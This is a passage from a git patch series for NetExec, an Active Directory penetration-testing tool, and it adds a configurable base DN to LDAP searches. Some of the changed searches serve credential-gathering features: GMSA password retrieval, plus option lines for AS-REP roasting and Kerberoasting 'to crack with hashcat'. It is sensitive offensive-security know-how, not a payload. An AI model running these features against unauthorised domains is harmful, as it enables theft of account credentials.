@@ class ldap(connection): # Microsoft Active Directory set an hard limit of 1000 entries returned by any search paged_search_control = ldapasn1_impacket.SimplePagedResultsControl(criticality=True, size=1000) return self.ldapConnection.search( + searchBase=self.baseDN, searchFilter=searchFilter, attributes=attributes, sizeLimit=sizeLimit, diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index 47314a39..5c74089f 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -15,7 +15,8 @@ def proto_args(parser, parents): egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file") egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file") - vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos") + vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain") + vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries") vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes") vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain. (Enabled Accounts only)") vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION") From 99970919803156f2a92bc9c7ddc088e4a44a29f5 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 10 Dec 2024 18:29:14 -0500 Subject: [PATCH 20/20] Add baseDN option for other search queries --- nxc/protocols/ldap.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 082b34bf..19b877fb 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1246,6 +1246,7 @@ class ldap(connection): try: self.logger.debug(f"Search Filter={searchFilter}") resp = self.ldapConnection.search( + searchBase=self.baseDN, searchFilter=searchFilter, attributes=[ "sAMAccountName", @@ -1373,6 +1374,7 @@ class ldap(connection): self.logger.display("Getting GMSA Passwords") search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.ldapConnection.search( + searchBase=self.baseDN, searchFilter=search_filter, attributes=[ "sAMAccountName", @@ -1380,7 +1382,6 @@ class ldap(connection): "msDS-GroupMSAMembership", ], sizeLimit=0, - searchBase=self.baseDN, ) if gmsa_accounts: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") @@ -1426,10 +1427,10 @@ class ldap(connection): # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.ldapConnection.search( + searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, - searchBase=self.baseDN, ) if gmsa_accounts: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}") @@ -1456,10 +1457,10 @@ class ldap(connection): # getting the gmsa account search_filter = "(objectClass=msDS-GroupManagedServiceAccount)" gmsa_accounts = self.ldapConnection.search( + searchBase=self.baseDN, searchFilter=search_filter, attributes=["sAMAccountName"], sizeLimit=0, - searchBase=self.baseDN, ) if gmsa_accounts: self.logger.debug(f"Total of records returned {len(gmsa_accounts):d}")